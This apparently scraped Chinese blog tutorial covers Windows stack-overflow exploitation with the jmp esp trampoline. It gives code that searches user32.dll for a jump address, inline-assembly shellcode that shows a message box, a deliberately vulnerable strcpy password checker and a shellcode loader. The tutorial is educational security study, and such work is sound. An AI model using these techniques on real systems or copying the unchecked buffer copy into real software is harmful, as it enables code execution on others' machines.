开发shellcode的艺术
专业术语
ShellCode:实际是一段代码(也可以是填充数据)
exploit:攻击通过ShellCode等方法攻击漏洞
栈帧移位与jmp esp
一般情况下,ESP寄存器中的地址总是指向系统栈且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们淹没的返回地址的下一个位置。可以通过OD调试看的到。
注:函数返回时,ESP所指的位置还与函数调用约定、返回指令有关系。例如retn 3 和retn4在返回之后,ESP所指向的位置都会有所差异。
由于ESP寄存器在函数返回之后不被栈溢出控制,且始终指向返回地址的下一个位置,
我们可以使用一种“黑科技”如下图定位ShellCode的方法来动态定位。
(1)用内存中任意一个jmp esp 指令覆盖函数的返回地址,而不是向上一次的“栈溢出原理与实现”中的例子那样去通过OD手动查出ShellCode起始地址直接覆盖。
(2)函数返回后被重定向去执行内存中的这条jum esp指令,而不是直接开始执行ShellCode。
(3)由于esp在函数返回时任然指向栈区(函数返回地址之后),jmp esp指令被执行之后,处理器会找到栈区函数的返回地址之后的地方取指令执行。
(4)重新布置ShellCode。在淹没函数返回地址之后,继续淹没一片栈空间,将缓冲区前边的一段地方任意数据填充,把ShellCode恰好的摆放在函数的返回地址之后。这样,jmp
esp 指令执行过后会恰好跳进ShellCode。
这种定位ShellCode的方法使用进程空间里的一条jmp esp 指令作为“跳板”,不论栈帧怎么移位,都能够精确的跳回栈区,从而适应程序运行中ShellCode内存地址的动态变化。
1998年,黑客组织“Cult of the Dead Cow”的Dlidog在Bugtrq邮件列表中以MIcrosoft Netmeeting为例首次提出利用jmp esp完成对ShellCode的动态定位,从而解决了Windows下栈
帧移位问题给开发稳定的exploit带来的重重困难。毫不夸张的讲,跳板技术应该算是Windows栈溢出利用技术里的一个里程碑。
获取“跳板”地址

1 #include<iostream>
2 #include <WINDOWS.H>
3 using namespace std;
4
5 int main()
6 {
7 BYTE* ptr = NULL;
8 int position = 0;
9 int address = 0;
10 BOOL bDone = FALSE;
11 HINSTANCE handle = LoadLibrary("user32.dll");
12
13 if(handle==NULL)
14 {
15 printf("Dll Load Failed!");
16 exit(0);
17 }
18
19 ptr = (BYTE*)handle;
20
21 for (position=0;!bDone;position++)
22 {
23 try
24 {
25 if(ptr[position]==0xFF&&ptr[position+1]==0xE4)
26 {
27 //OxFFE4 是 jmp esp 的汇编指令
28 address = (int)ptr +position;
29 printf("the jmp address if 0x%x\n",address);
30 break;
31 }
32
33 }
34 catch (...)
35 {
36 address = (int)ptr +position;
37 printf("End of 0x%x\n",address);
38 bDone = TRUE;
39 }
40 }
41
42 return 0;
43 }

Jmp esp 对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存指针值。
这是通过我们代码找到的跳板的位置如下:
使用“跳板”定位的exploit
我们使用上面的出的“跳板地址”0x777f305b,作为我们执行jmp esp 的指令,通过获得user32和kernel32基地址,计算出MessageBoxA和ExitProcess的函数地址,我们开始构建我们的ShellCode。

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
int main()
{
HINSTANCE hLibrary = LoadLibrary("user32.dll");
//768c0000 kernel32.dll /* 测试 ExitProcess(0) 函数是否可用 其地址 0x768c0000 kernel32.dll
_asm
{
xor ebx,ebx
push ebx
mov eax,0x768E9850
call eax
}
*/
_asm
{
xor ebx,ebx
push ebx
push 0x74736577 //字符串
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x777D74C0 //MessageBoxA
call eax
push ebx
mov eax,0x768E9850 //ExitProcess
call eax
}
return 0;
}

为了提取汇编代码的对应的机器码,我们将上述代码用VC编译通过之后,通过OD加载调试,获取该段汇编的机器码,机器码如下:
通过二进制编辑器,将代码写入文件
我们将读取文件,通过栈溢出,使得ShellCode放到合适的位置

#include <IOSTREAM>
#include <Windows.h>
using namespace std;
#define PASS_WORD "1234567"
int verify_password(char* password)
{
int authentitated;
char szBuffer[44];
authentitated = strcmp(password,PASS_WORD);
strcpy(szBuffer,password);
return authentitated;
}
int main()
{
int valid_flag = 0;
char password[1024] = {0};
FILE* fp ;
fp=fopen("password.txt","rw+"); HMODULE h = LoadLibrary("user32.dll"); printf("%x\r\n",h); //0x77760000
//0x000774C0
//0x777D74C0 //MessageBox地址
//0x0018FA88 //buffer 中的地址 if(fp==NULL)
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\r\n");
}
else
{
printf("Congratulation! you have passed the verification!\r\n");
}
fclose(fp);
return 0;
}

编译运行,发现程序运行正常,且正常退出,我们成功啦!运行结果就不截图了。
缓冲区组织
如果使用jmp esp 作为定位ShellCode的跳板,那么在函数返回后要根据缓冲区的大小、所需ShellCode的长度等实际情况灵活的布置缓冲区。送入缓冲区的数据可以分为以下几种:
(1)填充物:可以是任何值,但是一般用NOP指令对应的0x90来填充缓冲区,并把ShellCode布置于其后,这样即使不能准确的跳到ShellCode的开始,只要能跳进填充区域,
处理器最终也会执行到ShellCode。(2)淹没返回地址的数据:可以是跳转指令的地址、ShellCode的起始地址,甚至是一个近似ShellCode地址的地址。
(3)ShellCode:可执行的机器代码。
我们上面这么做难道就没有问题吗?如果我们的ShellCode超过函数返回地址以后将是前一个栈的栈帧,我们平时开发一个有用的ShellCode往往需要几百个字节,这样大范围的破坏
栈帧数据可能会引发一些其他的问题。例如,若想在执行完ShellCode通过修复寄存器的值,让函数正常返回继续执行原程序,就不能随意破坏栈帧数据。
抬高栈顶保护ShellCode
将ShellCode布置在缓冲区中虽然有不少的好处,但是也会产生问题。函数返回时,当前栈帧弹出,这时候缓冲区位于栈顶ESP之上的内存区域。在弹出栈帧时只是改变了ESP寄存器
中的值,逻辑上ESP以上的内存空间的数据已经作废,物理上这些数据并没有被销毁。如果ShellCode中没有压栈指令向栈中 写入数据就没有太大的影响;但是如果使用push指令在栈
中暂存数据,压栈数据就有可能破坏到ShellCode本身。
当缓冲区相对于ShellCode较大时,把ShellCode布置在缓冲区的“前端”(内存低地址方向),这是ShellCode离栈顶较远,几次压栈只可能破坏到一些Nop值;但是,如果缓冲区已经
被我们的ShellCode占满,则要执行的ShellCode就离栈顶比较近,这样的情况就很危险了。如果存在push压栈操作,导致ESP 向低地址方向移动,我们构建的ShellCode就会遭到破坏。
所以,为了使得ShellCode具有较强的通用性,我们通常会在ShellCode一开始的范围就抬高栈顶,把ShellCode藏在栈内,从而达到保护ShellCode的作用。
过程如下图:
使用其他跳转指令
使用jmp esp做“跳板”的方法是最简单,也是最常用的定位ShellCode的方法。在实际的漏洞利用过程中,应当注意观察漏洞函数返回时所有寄存器的值。除了ESP之外,EAX、EBX、ESI等
寄存器也会指向栈顶附近,故在选择跳转指令时也可以灵活一些,除了jmp esp之外,mov eax、esp和jmp eax等序列亦可以完成进入栈的功能。
常用的跳转指令与机器码之间的对应关系:
可以使用我们上面的程序,来获得这其中任意一个跳转指令在加载模块中的地址。
ShellCode的加载与调试
ShellCode最常见的形式就是用转移字符把机器码存在一个数组中,如我们之前弹出消息框并能够退出程序的ShellCode就可以存成以下的形式。

#include<iostream>
using namespace std;
int main()
{
//777D74C0 768E9850
char Shell_Code[]=
"\x66\x81\xEC\x40\x04"
"\x33\xDB"
"\x53"
"\x68\x77\x65\x73\x74"
"\x68\x66\x61\x69\x6C"
"\x8B\xc4"
"\x53"
"\x50"
"\x50"
"\x53"
"\xB8\xC0\x74\x7D\x77"
"\xFF\xD0"
"\x53"
"\xB8\x50\x98\x8E\x76"
"\xFF\xD0";
_asm
{
lea eax,Shell_Code
push eax
ret
}
return 0;
}

ret指令会将push进去的ShellCode在栈中的位置弹给EIP,让处理器去跳过去执行ShellCode,我们可以用这个程序运行搜索到的ShellCode,并调试它。
若发现不能满足需求,可以在原先的基础上修改,增加功能。
开发shellcode的艺术的更多相关文章
- 恶意软件开发——shellcode执行的几种常见方式
一.什么是shellcode? shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为它通常启动一个命令shell,攻击者可以从 ...
- OD: Writing Small Shellcode
第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode.原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing S ...
- 系列文章|OKR与敏捷(二):实现全栈敏捷
OKR与敏捷开发的原理有着相似之处,但已经使用敏捷的团队再用OKR感觉会显得多余.这种误解的根源就在于对这两种模式不够了解,运用得当的情况下,OKR和敏捷可以形成强强联合的效果,他们可以创造出以价值为 ...
- 一个农民工混迹于 IT 行业多年后的泣血总结
一看题目,你心里一定闪出一个想法,这又是一篇软文吧,是不是,不想辩别了,自己判断吧哈哈.这是根据本人真实经历所写的一篇总结.假如你满足你的现状,这就是一篇软文,请立刻关闭此文章,继续你现在的生活. ...
- Linux 之父自传《just for fun》读书笔记
一次偶然的机会,看到了阮一峰老师关于这本书的介绍,当时我就觉得这本书相当有趣. 在没有读这本书之前,我觉得 linus 作为发明 Linux 系统的人,应该是一个比较严肃的人,就像我的老师一样.但事实 ...
- WEB学习笔记1-综述
WEB前端基本技术:HTML.CSS.JavaScript 概念: 从职责上讲,Web前端开发要涉及网站开发的方方面面,从前端UI到和后端的数据交互都属于前端开发的范畴.Web前端开发是兼具艺术气息和 ...
- 程序员需要经纪人吗?10x 最好的程序员其生产力相当于同行的 10 倍~
原文地址 10x 起源于技术界一个流行的说法,即最好的程序员是超级明星,其生产力相当于同行的 10 倍: Google 园区以好玩的设施闻名:小憩舱.球坑.按摩.干洗.随便吃到饱的自助餐.(为了拍人才 ...
- C基础 时间业务实战代码
引言 业务代码中遇到这样需求, 1. 二者是同一天吗, 2. 时间戳和时间串来回转, 3. 其它扩展需求 等. C写代码同样需要处理这方面时间问题. 本文就是为了解决这个问题. 相比其它时间库, 这里 ...
- FS获取KERNEL32基址的三种方法
FS寄存器指向当前活动线程的TEB结构(线程结构) 偏移 说明 000 指向SEH链指针 004 线程堆栈顶部 008 线程堆栈底部 00C SubSystemTib 010 FiberD ...
随机推荐
- 混合使用ForkJoin+Actor+Future实现一千万个不重复整数的排序(Scala示例)
目标 实现一千万个不重复整数的排序,可以一次性加载到 2G 的内存里. 本文适合于想要了解新语言 Scala 并发异步编程框架 Akka, Future 的筒鞋. 读完本文后,将了解如何综 ...
- Linux基础命令---which
which 在环境变量PATH中搜索某个命令,返回命令的执行文件或者脚本位置,默认只显示第一个结果.这需要一个或多个参数.对于它的每个参数,它会打印出当在shell提示符下输入该参数时将执行的可执行文 ...
- ES6学习--Object.assign()
ES6提供了Object.assign(),用于合并/复制对象的属性. Object.assign(target, source_1, ..., source_n) 1. 初始化对象属性 构造器正是为 ...
- jQuery API的特点
jQuery API 的特点 版权声明:未经博主授权,严禁转载分享 jQuery API 的三大特点 1. jQuery 对象是一个类数组对象,API自带遍历效果 - 对 jQuery 对象调用一次A ...
- 01: requests模块
目录: 1.1 requests模块简介 1.2 使用requests模块发送get请求 1.3 使用requests模块发送post请求 1.4 requests.request()参数介绍 1.1 ...
- 20165211 预备作业3 Linux安装与学习
20165211 预备作业3 Linux安装与学习 1. Linux安装 涉及软件:VirtualBox,Ubuntu 参考教程:基于VirtualBox安装Ubuntu图文教程 安装过程的问题 在安 ...
- [c/c++]指针(4)
现在讲一下指针的主要用途和常见错误. [用途] 1.用作形参 首先,常见新手写交换函数: void swap(int a,int b){ int t = a; a = b; b = t; } 主函数里 ...
- 【转】iOS学习之iOS禁止Touch事件
iOS程序中有时会有需要禁止应用接收Touch的要求(比如动画进行时,防止触摸事件触发新方法). 一.一般有两种: 1.弄个遮罩层,禁止交互: 2.使用UIApplication中的方法进行相关的交互 ...
- 关于java中的类的学习
设计模式应该牵扯到类的分布排列了,尽管现在我只能这么表达. 下面来自段帅发来的视频课程中的整理: 类与类之间的关系 每天进步一点点 类是java程序中最小组成单位,要理解后才可以更能理解类继承,重载, ...
- 联想笔记本thinkpad按F2不能直接重命名
联想笔记本thinkpad按F2不能直接重命名,而是Fn+F2. 解决: 按一下Fn+Esc(一般在左上角)